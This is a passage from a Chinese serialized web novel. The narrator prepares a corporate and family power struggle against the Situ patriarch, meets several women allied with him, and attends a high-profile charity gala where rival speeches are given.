“那就够了。”我松开手道:“去做事吧,记住,我们不是在和一个人战斗,是在和一个时代战斗,但时代,是会变的。”
叶倾城深吸一口气,眼中重新燃起斗志:“好。”
……
柳媚笙已经在套房等我。
我在上城已经包好了酒店给她。
当我推门进去时,柳媚笙正站在窗前抽烟,她转过身看着我,满脸写满了疲惫。
“回来了?”她掐灭烟,声音有些沙哑。
“嗯。”我关上门道:“境外那边什么情况?”
柳媚笙没有立刻回答,而是走到沙发边坐下,从包里拿出一个厚厚的文件袋,扔在茶几上。
“自己看。”
我打开文件袋,里面是几十页资料,还有几张老照片的复印件。
最上面是一份英文的银行保险箱开启记录,显示这个箱子是1996年5月17日在曼谷开立的,开户人名叫“吴文山”,正是当年那个东南亚小国的将军,吴山。
下面的资料更详细:有当年那三艘货轮的完整货物清单,上面清楚标注了“**”类别和数量,有司徒雄海运公司和那个小**方签订的运输合同复印件,甚至有几次通话记录的摘要,显示司徒雄亲自和吴山通过电话。
但最关键的,是最后几页,那是吴山的亲笔证词,详细描述了当年的交易细节,他在证词中说,司徒雄不仅帮忙转运**,还从中抽成了30%,总计约两千四百万美元,这笔钱通过境外银行账户转走,账户号码就在证词后面。
“这份证词,吴山签了字,按了手印。”柳媚笙点起一支新的烟道:“他还录了视频,说如果需要,他可以出庭作
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证,当然,前提是我们保证他和家人的安全。”
我翻看着资料,心中震动。
这份证据如果公开,司徒雄不仅会身败名裂,还可能面临跨国刑事指控!
“你是怎么拿到这些的?”我问。
“应该是秦家的帮助。”柳媚笙道:“我在境外有几个老朋友,有一个人是秦老的朋友,所以我在想,我能拿到资料,应该是秦守正的帮忙。”
我长舒一口气,看来秦老爷子没有骗我,他在杭城打拼了一辈子,本事确实是有的,也许秦家不能直接和司徒家掰手腕,但是在拉一个家族进来,就有可能对抗司徒家。
“秦家已经付了两百万美金的盯紧,剩下的,那个人说见到你在付尾款。”
“他想见我?”我好奇道。
“对。”柳媚笙点头道:“他说要亲自确认,我们有保护他的能力,而且,他手里还有更重要的东西。”
“什么?”我问。
“当年交易的所有原始文件,包括司徒雄签字的合同,银行转账凭证,还有司徒雄和那个小国**者的合影。”柳媚笙看着我。
“他说那些东西在一个更安全的地方,只有他知道在哪,如果我们想要,必须亲自去见他。”
我合上文件袋,陷入沉思。
这份证据很强大,但也很危险。一旦使用,就是不死不休的局面,司徒雄会不惜一切代价反扑,到时候,就不是商业战争了,而是生死搏杀。
而且,去见吴山也有风险。如果这是个陷阱,或者司徒雄已经知道我们的行动,那去境外可能就是自投罗网。
“你怎么想?”我问柳媚笙。
她沉默了很久,然后说:“陈凡,我认识你这么久,你从来不做没把握的事,但这一次风险太大了,司徒雄不是冯天宇,他如果真的被逼到绝路,会动用所有资源和我们拼命。”
“我知道。”我说。
“那你还……”
“但我没有选择。”我打断她道:“司徒雄已经开始围剿晴空科技,用不了两周,晴空科技就会垮,到时候,我们前期投入的所有资源和精力都会付诸东流,而且,司徒晴会失去一切。”
柳媚笙看着我,眼中有着复杂的光:“你真的很在乎那个司徒晴。”
“我在乎的是整个棋局。”我纠正道:“司徒晴是重要的一颗棋子,但更重要的是,通过她,我们可以撬动司徒家基业,这个机会,千载难逢。”
“所以你要去境外?”
“对。”我点头道:“但在这之前,我要先做两件事。”
“什么?”
“第一,公开和秦悦的关系,让秦家正式站队,给司徒雄增加压力,”我说,“第二,在慈善晚宴上,和司徒雄正面交锋。我要看看他的底线在哪。”
柳媚笙掐灭烟,走到我面前。
她伸手抚上我的脸,动作很轻,像在抚摸一件易碎的瓷器。
“陈凡,”她轻声说,“你知道吗,有时候我觉得你很可怕。为了赢,你可以利用所有人——我,秦悦,叶倾城,司徒晴...每个人都是你的棋子。但有时候我又觉得你很可怜,因为你除了赢,好像什么都不在乎。”
我握住她的手:“我在乎。”
“在乎什么?”柳媚笙眼里有一丝的期待。
“在乎你们。”我看着她道:“虽然方式可能不对,但我是真的在乎,媚笙,如果我输了,你们所有人都会被牵连,所以我不能输。”
柳媚笙的眼中闪过一丝动容,她靠过来,额头抵着我的额头。
“那就别输。”她低声说,“去境外的事,我陪你,我在东南亚有些人脉,可以确保安全,但答应我,一定要活着回来。”
236布局!柳媚笙的付出!
“我答应你。”
我将柳媚笙搂在了怀里,她温润如玉的身体,让我顿时沉迷不已。
我果断亲了过去,她也热情的回应……
许久,床上跃动了起来……
……
晚上七点,静斋日料店。
这家店藏在一条小巷深处,门脸很小,只接待熟客,老板是个日本人,叫山田,在本地开了二十多年店,为人低调,口风极严。
我到的时候,司徒晴已经到了,她坐在最里面的包厢,穿着简单的黑色针织衫和牛仔裤,头发扎成马尾。
看到我进来,她笑着起身,眼神里满是温柔与爱意。
“最近怎么样?”我在她的旁边坐下道。
“还撑得住。”司徒晴扯出一个笑容,但很勉强道:“就是每天都有不同的部门上门‘检查’,从税务到消防到环保,连卫生部门都来了,说我们食堂的食材可能有问题,真是无所不用其极。”
我能听出她声音里的疲惫和愤怒。
“供应商那边呢?”
“有三家已经动摇了。”司徒晴拿出一份名单,递给了我。
“这两家核心零部件和一家材料供应商,说需要‘重新评估合作风险’,实际上就是暂停供货,我找他们谈过,他们很直接,司徒家开了三倍的价格,而且承诺包销他们未来三年的全部产能。”
她顿了顿,声音有些发涩:“陈凡,我们撑不了太久,生产线最多再维持十天,十天后如果找不到替代供应商,就得停产,到时候,我们和三家车企签订的供货合同会违约,违约金就够我们破产了。”
我看着她,这个曾经骄傲的司徒家的千金小姐,此刻脸上有着黑眼圈,但她没有哭,也没有崩溃,只是平静地陈述着事实。
她在成长,但成长的代价太残酷了。
“十天够了。”我说。
司徒晴愣了一下:“什么?”
“我说,十天够了。”我重复道:“新的供应商我已经让叶倾城在联系,我看上了海外的几家,技术和质量都比现在的更好,他们报出的价格也合理,他们会在一周内给出答复。”
“但运输和调试需要时间……”司徒晴有些担忧的说道。
“同步进行。”我说道:“我已经安排团队去接洽物流公司,会用最快的方式把样品和生产线设备运过来,至于调试,你从晴空科技抽调最精锐的技术团队,我这边也会派人支援,二十四小时轮班,十天,够把新生产线搭建起来。”
司徒晴的眼睛亮了,但很快又暗下去:“但这需要大量资金,我们找的新供应商要预付定金,物流要加急费,还有团队加班费……”
“钱的事我来解决。”我打断她道:“你需要做的,是稳住团队,稳住客户,告诉那三家车企,供货可能会延迟一周,但我们会给予价格补偿,只要他们不取消订单,一切都有挽回的余地。”
司徒晴看着我,眼中有着复杂的光:“陈凡,你为什么这么帮我?就算你投资了晴空科技,但现在的风险已经远超收益了,如果晴空科技真的垮了,你的投资会血本无归。”
我给自己倒了杯清酒,慢慢喝着。
“司徒晴,我帮你,不是因为晴空科技,也不是因为投资回报,我帮你,是因为我看好你,你才是司徒家真正的未来。”
我的一番话让司徒晴愣住了,尽管我说谎了,我一开始接近司徒晴,就是为了以后对付司徒鸣,没想到事情发展到今天这一步,司徒晴真的爱上我了。
而司徒鸣父子现在还不知所踪。
那我只能扶持司徒晴上位了,这是我染指司徒家产业最好的办法。
“但司徒家现在不需要未来,只需要稳定。”我继续说道:“司徒雄守着他的基业,像守着一座快要腐朽的城堡,他害怕任何改变,害怕任何可能动摇他权威的人,所以你越优秀,他就越要打压你。”
“所以呢?”司徒晴的声音有些颤抖道:“我就该认命吗?就该回到那个笼子里,做他们想要的乖乖女?”
“不。”我放下酒杯,看着她的眼睛,“你要做的,是打破那个笼子,但你不能只靠自己的力量,你需要盟友,需要武器!”
司徒晴的呼吸急促起来:“你的意思是?”
“慈善晚宴。”我接着说道:“三天后的慈善晚宴,是第一个战场,到时候,秦家会公开支持晴空科技,我会公开和秦家的关系,而你要做的,是在晚宴上,当着所有人的面,和司徒雄划清界限。”
“什么?”司徒晴忽然惊讶道:“你要我公开和家族**?”
“不是**,是表态,你要让所有人看到,你不是司徒家的叛逆者,而是新一代的企业家,你的晴空科技,不是司徒家的附庸,而是独立的创新企业,你要站在阳光下,告诉所有人,你在做什么,为什么做,为谁而做。”
司徒晴慢慢坐回去,有些失神道:“如果我这么做,爷爷会……”
说完,她惨笑一声,仿佛看见了后果。
“他会暴怒,会打压,会动用一切手段让你屈服。”
“但那时候,你已经站在了阳光下,所有人都看着,看着他如何对待自己的亲孙女,如何打压一家有潜力的创新企业,**会站在你这边,同行会站在你这边,你也会有收获同情和支持你的声音。”
我顿了顿,一字一句的说:“司徒晴,你想赢,就不能只守不攻,你要主动出击,打乱司徒雄的节奏,让他不得不应对你的攻势,而不是一味被他打压。”
包厢里安静下来,良久,司徒晴抬起头,眼中重新燃起了火焰。那是破釜沉舟的决心,是置之死地而后生的勇气。
“好,我听你的!三天后,慈善晚宴,我会做我该做的事。”
我举起酒杯:“为晴空科技!”
她也举起酒杯,和我轻轻一碰:“为晴空科技。”
……
慈善晚宴前三天,整座城市都笼罩在一种微妙的氛围里。
明面上,这是一年一度的慈善盛会,政商名流齐聚,明星大咖云集,媒体争相报道。
暗地里,却是各方势力博弈的舞台,每一张邀请函背后都代表着一份地位,每一个座位安排都暗藏玄机。
我的手机从早响到晚,叶倾城在统筹全局,柳媚笙在确认境外那边的情况,秦悦在准备杭城来的代表团,司徒晴在调整晚宴当
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天的发言稿,每个人都在为这场没有硝烟的战争做准备。
周三下午,我去了趟晴空科技。
但当我走进司徒晴的办公室,就能感受到紧张的气氛。她正在和几个高管开会,每个人都面色凝重,看到我进来,她示意会议暂停。
“陈总。”几个高管起身打招呼。
我点点头,在旁边的沙发坐下。
司徒晴走过来,递给我一杯水:“刚说到供应商的事,新联系的海外供应商已经确认合作意向,样品明天到,但物流出了问题,海关那边卡住了,说要‘额外查验’。”
“司徒雄的手笔。”我接过水杯,淡定道:“这都是预料之中的事情,我让叶倾城去处理了,她在海关有关系,最晚后天能放行。”
司徒晴松了口气,但眉头依然紧皱:“生产线调试团队已经就位,但有几个核心工程师昨天集体请假,说家里有急事,我让人去查了,他们的家人都收到了匿名威胁信。”
“人呢?”
“安排到安全屋了,家人也接了。”司徒晴说,“但我担心还会有更多这种手段,我爷爷这次是动真格的,不择手段。”
我看着她眼中的血丝,知道这几天她几乎没睡。
“晚宴发言准备得怎么样了?”
我换了一个话题,既然已经和司徒雄**了,那就一条黑走到底就行了,不后悔,就是干!
司徒晴从桌上拿起一份打印稿:“改到第七版了,法务和公关都看过,确保在法律和**上都不留把柄,但……”她犹豫了一下,“真的要那么直接吗?当着所有媒体的面,公开和司徒家切割?”
“不是切割,是定位。”我纠正道:“你要让所有人明白,晴空科技是一家独立的企业,不是司徒家的附庸,你的成功是因为技术领先,不是因为姓司徒,这个定位很重要,关系到未来投资人和合作伙伴对你的看法。”
司徒晴深吸一口气:“我明白吗,只是想到要在那么多人面前,和爷爷**……”
“他不是你爷爷。”我打断她道:“在那样的场合,他只是司徒家的家主,是‘天驱科技’的董事长,是你最大的竞争对手,感情用事,只会让你输得更惨。”
这话说得很冷酷,但必须说,司徒晴需要彻底斩断心理上的依赖,才能真正站起来。
她沉默了良久,然后点头:“你说得对。我知道该怎么做。”
离开晴空科技时,已经是傍晚,我坐进车里,给叶倾城打了个电话。
“海关那边处理好了。”她的声音听起来很疲惫,“但出了点意外。我们在海关的关系人说,司徒雄那边的人也在活动,级别很高。这场较量,已经不只是商业层面了。”
“意料之中。”我说,“你那边还撑得住吗?”
“暂时可以。”叶倾城顿了顿道:“但陈凡,我们的人脉和资源,和司徒家比还是有差距,如果司徒雄动用更深层的关系,我们可能会很被动。”
“所以我们需要盟友。”我说,“秦家的代表团明天到,你安排人接机,最高规格,另外,联系张薇薇,让她把司徒雄那份证据的‘风声’放出去,就在今晚。”
237打响反击!
“今晚?”叶倾城有些意外道:“不等慈善晚宴?”
“不等。”我斩钉截铁的说道:“我要让司徒雄在晚宴前就乱起来,让他没精力全力对付我,**的压力,有时候比真刀**更有用。”
“明白了。”叶倾城说:“我这就去办。”
安排好事情后,我现在就去找柳媚笙。
柳媚笙正在地下室的工作间,这里是一个小型的情报中心,墙上挂着十几块显示屏,实时显示着各种监控画面和数据流,几个技术人员正在电脑前忙碌。
看到我进来,柳媚笙摘下耳机:“境外那边确认了,吴山同意见面,时间定在下周一,地点在槟城,但他要求只能两个人去,就是你和我。”
“安全呢?”我问。
“我安排了一支小队提前过去,都是可靠的人。”柳媚笙调出一个地图画面,道:“见面地点在吴山的一个安全屋,周围三公里内我都安排了监控,如果有异常,我们会第一时间知道。”
我点点头:“辛苦你了。”
柳媚笙看了我一眼,欲言又止。
“怎么了?”我问。
“陈凡……”她犹豫了一下,眼里满是担忧的说道:“去境外风险很大,吴山这个人,我们并不完全了解,虽然他现在需要我们保护,但难保不会为了更大的利益出卖我们,而且……”
她停顿了一下,看着我关心道:“司徒雄在境外也有势力,如果他知道了这件事,可能会在半路截杀。”
“我知道,但这是我们能拿到的最直接的证据,没有这份证据,我们就只能在商业层面和司徒家周旋,永远无法给予致命一击。”
柳媚笙沉默了,她知道我说的是事实。
“那就做好最坏的准备。”她最终说:“我已经联系了当地的朋友,准备了撤退路线和应急方案,但陈凡,你得答应我,如果真的情况不对,不要硬拼,先撤。”
“我答应你。”我点了点头。
没有人愿意以身犯险,除非是没有别的路可以选择了。
我们并肩站在监控屏前,看着屏幕上的数据,这一刻,我们共同面对未知的风险,也是彼此的依靠。
“慈善晚宴,你会去吗?”柳媚笙忽然问。
“会。”
“以什么身份?”
“秦悦的男伴。”我说。
柳媚笙的表情没什么变化,她点点头说道:“有秦家公开站台,司徒雄会收敛很多,不过……”
柳媚笙她转过身,看着我问:“叶倾城和司徒晴呢?她们俩在晚宴上,会以什么身份出现?”
“叶倾城是我的合伙人,司徒晴是晴空科技CEO。”我说:“各就各位,我敢公开别人的关系,秦家老爷子一定不会放过我。”
“各就各位……”柳媚笙重复了一遍,笑了。
“陈凡,有时候我真的很佩服你,能把这么多复杂的关系,安排得井井有条,每个人都有自己的位置,每个人都不会越界。”
我听出了她话里的讽刺,但也听出了其中的关心。
“媚笙……”我轻声安慰道:“我知道这对你不公平。你为我做了这么多,却……”
“却什么?”她打断我,笑着说道:“却不能站在你身边?陈凡,我早就习惯了,从认识你的第一天起,我就知道,你心里装着的不是一个人,是一片江山,而我,只是帮你打下这片江山的人之一。”
她走到酒柜前,倒了两杯威士忌,递给我一杯。
“所以别跟我说对不起。”她和我碰杯道:“我选择帮你,是因为我愿意,不是因为你欠我什么,也不是因为我期待什么,只是因为,看着你一步步走到今天,我很有成就感。”
柳媚笙的这番话,真的是说进我的心里了,我对她更多的是感谢。
“晚宴那天,我会在后台看着,如果有什么突发状况,我能第一时间处理,司徒雄可能会带人去,他身边的保镖队长我认识,是境外那边退下来的雇佣兵,手段狠辣,我已经安排了人盯着他们。”
“谢谢。”我能说的只有这两个字。
“不用谢。”她摆摆手,“去准备吧,三天后,好戏就要开场了!”
……
周四,秦悦的航班准时抵达。
叶倾城亲自带人去接机,排场很大。
五辆黑色奔驰组成的车队,清一色的黑衣保镖,还特意安排了媒体拍照,这是她刻意安排的,要让所有人都知道,秦家来了,而且是高调地来。
曾经,我以为秦家的实力也就是在夏家之上,现在,我才明白,秦老爷子的可怕之处,他这一辈子,都在蛰伏!
秦悦走出航站楼时,立刻被闪光灯包围,她今天穿了身香槟色的套装,长发披肩,妆容精致,笑容得体,面对媒体,她大方地挥手致意,但没有接受采访。
坐进车里,她才松了口气,对我抱怨道:“倾城姐安排得太夸张了,搞的像明星出街。”
叶倾城坐在副驾,回头笑了笑:“要的就是这个效果。秦家大小姐驾到,必须让全城都知道。”
秦悦看向我,眼中有着询问:“晚宴的事,都安排好了?”
“嗯。”我握住她的手,道:“你的发言稿我看了,很好,既表达了秦家投资内地科技产业的决心,又不会太直接针对司徒家,分寸把握得很到位。”
“这是爷爷特意叮嘱的。”秦悦说到:“他说,公开站队要有技巧,不能显得太有攻击性,否则会适得其反,我们要表现的,是看好这个赛道,看好晴空科技,而不是要和司徒家为敌。”
我点点头,秦守正果然是**湖,深谙博弈之道。
“对了……”秦悦从包里拿出一个丝绒盒子道:“这是爷爷让我带给你的。”
我打开盒子,里面是一块怀表。不是现代款式,而是古董怀表,表壳上刻着复杂的花纹,打开后,表盘下方有一行小字:“时来天地皆同力”。
“这是爷爷年轻时,一位长辈送的。”秦悦轻声说道:“他说,人在最关键的时刻,需要一点运气,也需要一点提醒,现在,他送给你。”
我抚摸着怀表冰凉的表面,心中涌起复杂的情绪,这块表不仅是礼物,更是一种认可,一种托付。
“帮我谢谢秦老。”我说。
车子驶入市区,直接去了秦家在本地的一处别墅,这是秦守正早年购置的产业,一个独立的四合院,闹中取静,装修古朴典雅。
安顿好秦悦后,叶倾城和我单独在书房谈事。
“**已经开始发酵了。”她打开电脑,调出几个新闻页面。
“张薇薇那边很有效率,昨晚有几家财经媒体开始隐约提到“某老牌家族三十年前的海外生意”,虽然没有点名,但圈内人都知道说的是司徒家。”
“司徒雄有什么反应?”我问道。
“暂时还没有公开回应。”叶倾城说道:“但他的公关团队已经开始动作了,联系了几家媒体要求撤稿,不过张薇薇用的是海外信源,国内媒体只是转载,司徒雄的手伸不了那么长。”
“很好。”我点头道:“让他先忙着灭火,晚宴那天,才是真正的重头戏。”
叶倾城合上电脑,看着我,欲言又止。
“想说什么就说。”我说。
“陈凡。”她轻声问,“你真的准备好了吗?三天后,你要在所有人面前,公开和秦悦的关系,这意味着,你和司徒家的战争将彻底公开化,再也没有回旋的余地。”
“我知道。”
她犹豫了一下,问我:“你想过后果吗?不只是商业上的,还有感情上的,秦悦,我,柳媚笙,司徒晴我们每个人,都在这个棋局里,你走这一步,会改变所有人的位置。
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”
我沉默了很久。
我当然想过。每一个深夜,我都在想。想如果我输了,她们会怎样;想如果我赢了,又该如何面对这些复杂的关系。
但我没有选择。
“倾城,”我最终说,“我知道这对你不公平。但我们没有退路。”
叶倾城笑了,笑容里有理解,也有无奈。
“我没说要退,我只是想提醒你,别忘了棋局之外的东西。有些人,有些感情,不是棋子。”
她站起身,走到窗前,背对着我:“去吧,陪陪秦悦。她大老远从杭城来,最想见的人是你,我还有些文件要处理。”
我知道这是她的体贴,也是她的骄傲。
离开书房时,我回头看了她一眼。她站在窗前,背影挺直,但肩膀微微下垂。
周五,慈善晚宴前一天。
我办公室里的气氛,比窗外的天气更压抑。
柳媚笙带来最新消息:司徒雄已经知道吴山的事,正在派人去境外。我们在境外的人发现了司徒家雇佣的当地势力,大概有二十多人,都是亡命之徒。
“他们可能要在我们见吴山之前,就把他做掉。”柳媚笙脸色凝重,道:“或者,他们已经设下陷阱等我们。”
“我们的应对方案呢?”
“我让小队提前行动,今晚就把吴山转移。”柳媚笙说:“新的安全屋已经准备好,但这样一来,见面时间可能要推迟。”
“不能推迟。”我摇头道:“慈善晚宴后,司徒雄会把全部精力都放在对付我们上,那时候再去境外,风险更大。”
“那就今晚行动。”柳媚笙咬咬牙,“我亲自带人去。你在国内等消息。”
“不行。”我按住她的手道:“太危险,而且,如果你出了事,我这被子都不会原谅自己。”
“我会小心的。”柳媚笙反握住我的手道:“陈凡,这种地下的事,我比你熟,你在明处,我在暗处,这是我们最好的配合。”
我们争执了很久,最后各退一步,柳媚笙带小队去转移吴山,但我必须随时知道情况,每小时汇报一次,如果有任何异常,立刻终止行动。
下午四点,柳媚笙出发去机场。
送她的时候,雨已经开始下了。淅淅沥沥的雨点打在车窗上,模糊了外面的世界。
“小心。”我在她上车前说。
“你也是。”柳媚笙看着我,“明天晚宴,司徒雄可能会有所动作。我已经安排了人在会场周围,但你自己也要当心。”
“我知道。”
她上了车,车子缓缓驶离。我站在雨中,看着尾灯消失在街角,心中涌起一股不祥的预感。
但已经没有时间多想了。
回到办公室,叶倾城和秦悦都在等我。她们正在核对晚宴的最终流程和座位表。
“司徒雄的座位在我们斜对面。”叶倾城指着座位图,“主办方这么安排,明显是故意的。还有,司徒飞和‘天驱科技’的几个高管也来了,座位在司徒雄后面。”
“媒体区呢?”
“增加了三倍。”秦悦说,“除了常规的财经媒体,还来了很多娱乐媒体和社会新闻媒体。看来大家都嗅到了**味,想来看热闹。”
我点点头。这正是我要的效果——人越多,关注度越高,司徒雄就越不敢轻举妄动。
“发言顺序确定了。”叶倾城递给我一份文件,“你是第五个发言,在秦悦之后,司徒雄之前。司徒晴在倒数第三个,压轴的是市长。”
这个安排很微妙。秦悦发言代表秦家立场,我发言代表“凡颜资本”,然后司徒雄发言。这样,在司徒雄发言前,我和秦悦已经定下了基调,他只能被动回应。
而司徒晴压轴发言,可以呼应我们的观点,形成三人联手的态势。
“很好。”我说道:“就这么安排。”
238慈善晚宴的对抗!
周六,慈善晚宴当晚。
上城的暴雨终于停了,街道被雨水洗刷的干净,仿佛这个世界要重新洗牌一样。
下午四点,我开始准备。
叶倾城送来了我今晚要穿的礼服,一套深蓝色的定制西装,面料是顶级的羊毛混丝,在光线下有细微的暗纹流动,衬衫是白色的,领口有手工刺绣的暗纹。
“秦悦那边已经准备好了。”叶倾城一边帮我整理袖扣一边说道:“她今天会穿香槟色的礼服,戴那套家传的翡翠首饰,秦家代表团有十二个人,除了她,还有三个叔伯辈的,都是商界有头有脸的人物。”
我点点头:“司徒雄呢?”
“他中午就到了酒店。”叶倾城担忧的说道:“他带了八个保镖,还有司徒飞和‘天驱科技’的整个高管团队,看样子,是要摆足阵势。”
“媒体那边?”我随口一问。
我看着镜子里的自己,现在我的今时不同往日,身上早已有了富贵气息,我举手投足之间,无比的自信。
“目前已经有超过一百家媒体拿到了入场资格。”叶倾城退后一步,审视着我的着装。
“陈凡,**短炮都准备好了,张薇薇的团队也会在,他们有几个问题是事先安排好的,会问关于商业伦理和家族企业现代化转型的话题,给你和司徒晴发挥的空间。”
一切都在计划中,但我心里清楚,计划永远赶不上变化。尤其是,柳媚笙那边还没有消息。
她从昨晚抵达境外后后,只发来一条“已安全”的加密信息,之后就再无声息,按约定,每小时都应该有汇报,但现在,已经过去六个小时了。
我看了眼手表,下午四点二十。
“联系上媚笙了吗?”我问。
叶倾城摇头:“所有联系方式都试过了,没有回应,但她安排在国内的人说,按原计划,她应该在今天上午就完成吴山的转移,如果有意外,会有备用信号发出,目前我们没有收到任何警报。”
没有消息,可能是最好的消息,也可能是最坏的消息。
我压下心中的不安,现在不能乱,今晚的晚宴太重要,我容不得半点分心。
“继续联系。”我继续说道:“每十五分钟尝试一次,如果有消息,第一时间告诉我。”
“明白。”叶倾城点了点头道。
五点半,秦悦来了。
她今天美得惊人,她穿着香槟色的露肩礼服,裙摆是不规则的斜裁设计,走起路来像流动的金色波浪。
她的长发盘起,露出修长的脖颈,戴着一套翡翠首饰,她的妆容精致但不浓艳,突出了她五官的清冷和精致。
看到我,她眼睛一亮,走过来很自然地挽住我的手臂。
“紧张吗?”她轻声问。
“有一点。”我如实说。
“我也是。”她笑了道:“不过一想到你在身边,就好多了。”
我们坐车前往酒店,路上,秦悦握着我的手。
“爷爷早上打电话来,说看了天气预报,今晚天气很好。”她说道:“他说这是个好兆头,还说让我转告你,无论发生什么,秦家都站在你这边。”
我握紧她的手:“谢谢。”
“不用谢。”她靠在我肩上,道:“我们是一体的,不是吗?”
车子在晚宴酒店门口停下时,外面已经是闪光灯的海洋。
红毯从门口一直铺到大厅,两边挤满了记者和摄影师。看到我们的车停下,所有镜头都转了过来。
车门打开,我先行下车,然后转身,向车内的秦悦伸出手。
她将手放在我掌心,优雅地迈出车门。
那一刻,闪光灯像炸开的银河,亮得让人睁不开眼。
“秦小姐看这边!”
“陈总,请问您和秦小姐是什么关系?”
“秦家这次来参加慈善晚宴,是否有重大宣布?”
记者们的问题像潮水般涌来,秦悦保持着得体的微笑,但没有回答任何问题,只是挽着我的手臂,沿着红毯向里走。
她的仪态无可挑剔,每一步都像量过一样,裙摆随着步伐轻轻摆动,翡翠首饰在闪光灯下折射出温润的光泽。
我配合着她的节奏,偶尔向媒体点头致意。
这是我们第一次在公开场合一起亮相,每一个细节都会被放大解读,而我们要传递的信息很明确,秦家和陈凡,是紧密的盟友。
走进大厅,喧嚣被隔绝在外。
但仔细观察,就能发现暗流涌动。
我看到司徒雄站在大厅中央,被一群人围着,他今天穿了身深灰色的中山装,手里拄着根紫檀木手杖,脸上带着惯有的、不怒自威的表情。司徒飞站在他身后,穿着黑色西装,脸色有些苍白,眼神闪烁。
看到我们进来,司徒雄的目光转了过来,隔着十几米的距离,我们的视线在空中交汇。
很短暂,但足够了。
那是鹰隼般的眼神,锐利,冰冷,带着审视和警告。
我也平静地回视,没有任何退缩。
然后他转回头,继续和身边的人说话,仿佛刚才那一眼只是无意中的一瞥。
但我知道,战争已经开始了。
“陈总,秦小姐,这边请。”侍者引我们去座位。
我们的座位在主桌旁边,视野很好,可以看到整个会场,叶倾城已经到了,她今天穿了身黑色的礼服,简洁大方,正和几个投资人交谈,看到我们,她微微点头示意。
秦悦的座位在我旁边,再过去是秦家的几位叔伯,这样的座位安排,再次强调了我们的关系。
六点半,晚宴正式开始。
主办方致辞,官员讲话,然后是几个惯例的环节,气氛看似热烈,但所有人的注意力都不在这些程序上,大家都在等待,等待真正的好戏开场。
七点,发言环节开始。
第一个发言的是领导,讲了些城市发展和慈善事业的场面话,第二个是某基金会主席,第三个是位老艺术家。
第四个,是秦悦。
当主持人念到她的名字时,全场安静了一瞬,然后响起了礼貌但克制的掌声。
秦悦从容起身,走上舞台。
聚光灯打在她身上,香槟色礼服和翡翠首饰在灯光下熠熠生辉。她站在话筒前,先是对着台下微微鞠躬,然后开始发言。
声音通过音响传遍整个大厅,清亮,沉稳,带着江南女子特有的软糯,但又不失力量。
“尊敬的各位领导,各位来宾,晚上好,我是秦悦,代表杭城秦氏集团,感谢主办方的邀请……”
她的发言稿是精心打磨过的,先表达了秦家对慈善事业的支持,宣布捐赠五千万用于青少年科技教育,然后话锋一转,谈到科技创新的重要性,谈到秦家看好内地科技产业的发展前景。
“在这个变革的时代,传统行业需要转型,新兴科技需要支持,秦氏集团未来三年,将投资至少百亿,重点布局人工智能、新能源、生物科技等前沿领域。我们相信,真正的创新,来自于开放的胸怀和包容的环境……”
说到这里,她顿了顿,目光扫过全场,最后落在司徒雄的方向。
“我们反对任何形式的垄断和打压,我们认为,健康的商业环境,应该是百花齐放,百舸争流,每一个有梦想、有能力的创业者,都应该得到公平的机会,这也是秦家选择在这个时候,加大对投资的原因。”
台下响起了掌声,比之前热烈许多。
秦悦的发言很巧妙,没有直接点名司徒家,但所有人都听出了弦外之音,秦家反对垄断,支持公平竞争。而当前科技领域最大的垄断者,就是司徒家。
发言结束,秦悦在掌声中走下舞台,回到座位时,她对我微微一笑,眼中有着完成任务的轻松。
接下来,轮到我了。
主持人
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介绍:“下面有请‘凡颜资本’创始人兼CEO,陈凡先生。”
我起身,整理了一下西装,走上舞台。
聚光灯有些刺眼,但我很快适应了,台下黑压压的一片,看不清具体的面孔,但能感受到所有人的目光都聚焦在我身上。
“各位晚上好。”我开口,声音通过麦克风传出去,平稳有力,“感谢主办方给我这个机会。刚才秦小姐说得很好,创新需要公平的环境。我想补充的是,创新也需要勇气,打破常规的勇气,挑战权威的勇气,坚持梦想的勇气。”
我停顿了一下,让这些话在空气中沉淀。
“几个月前,我创立‘凡颜资本’时,很多人告诉我,这个行业已经被几大世家垄断,新人没有机会,但我相信,时代在变,规则也在变,真正的创新者,永远不会被旧规则束缚。”
台下很安静。
我能感觉到,司徒雄的目光像钉子一样钉在我身上。
“今天,我想分享一个故事。”我继续说,“关于一家年轻的公司,和它的创始人,一个月前,她带着一个看似不可能的想法,找到了我,她说,她要改变一个行业,要打破几十年的技术垄断,很多人嘲笑她,打压她,甚至用各种手段阻挠她,但她没有放弃。”
我看向司徒晴的方向。
她坐在台下,背脊挺直,双手紧握,眼中有着泪光。
“今天,这家公司的产品已经领先行业至少两代,它的成功证明了一件事:在这个时代,真正的壁垒不是资金,不是资源,而是创新和坚持。”
台下开始有窃窃私语。所有人都知道我在说谁——晴空科技,司徒晴。
“所以,‘凡颜资本’会继续支持这样的创新者。”我提高声音,“我们不惧压力,不畏挑战。因为我们相信,未来属于那些敢于梦想、敢于行动的人。”
掌声响起,比刚才更热烈。我看到了很多年轻创业者的面孔,他们眼中有着共鸣和激动。
发言结束,我走下舞台。经过司徒雄身边时,我刻意放慢了脚步。他没有看我,只是盯着手中的酒杯,手指紧紧捏着杯脚,指节发白。
回到座位,秦悦在桌下握住了我的手。她的手心全是汗,但很温暖。
“说得很好。”她低声说。
下一个发言者就是司徒雄。
主持人介绍时,用了很长的头衔:“司徒家族家主,司徒集团董事局主席,天驱科技董事长...”
司徒雄缓缓起身。他没有立刻上台,而是先整理了一下中山装的衣襟,然后拄着手杖,一步一步走向舞台。那步伐很慢,但每一步都带着沉重的压迫感。
站上舞台,他环视全场。那一刻,整个大厅鸦雀无声。
“各位,”他开口,声音苍老但威严十足,“刚才听了两位年轻人的发言,我很感慨。时代确实在变,年轻人有冲劲,有想法,这是好事。”
他顿了顿,眼神变得锐利。
“但是,有些东西永远不会变。比如规矩,比如传承,比如...家族的责任。”
他看向司徒晴的方向:“司徒家的基业,靠的不是投机取巧,不是哗众取宠,而是一代代人的坚守和责任,作为家主,我的责任是守护这份基业,让它传承下去,发扬光大。”
这话说得很重,明显是在回应我的发言,也是在敲打司徒晴。
“至于创新,”司徒雄继续说道:“司徒家从不拒绝创新,我们即将推出的‘天驱’系统,就是最好的证明,但创新要有底线,要有规矩,不能为了创新,就忘本,就背叛。”
“背叛”两个字,他说得特别重。
台下死一般寂静。
所有人都听出了这话里的**味。
“最后……”司徒雄语气稍微缓和道:“慈善是善举,是功德,司徒家今晚捐赠八千万,用于老年人关爱事业,谢谢大家!”
239柳媚笙失联了?
司徒雄微微鞠躬,然后走下舞台。
掌声响起,但很克制,带着小心翼翼的意味。
发言环节继续进行,但气氛已经完全变了,所有人都能感受到,台上台下的剑拔**张。
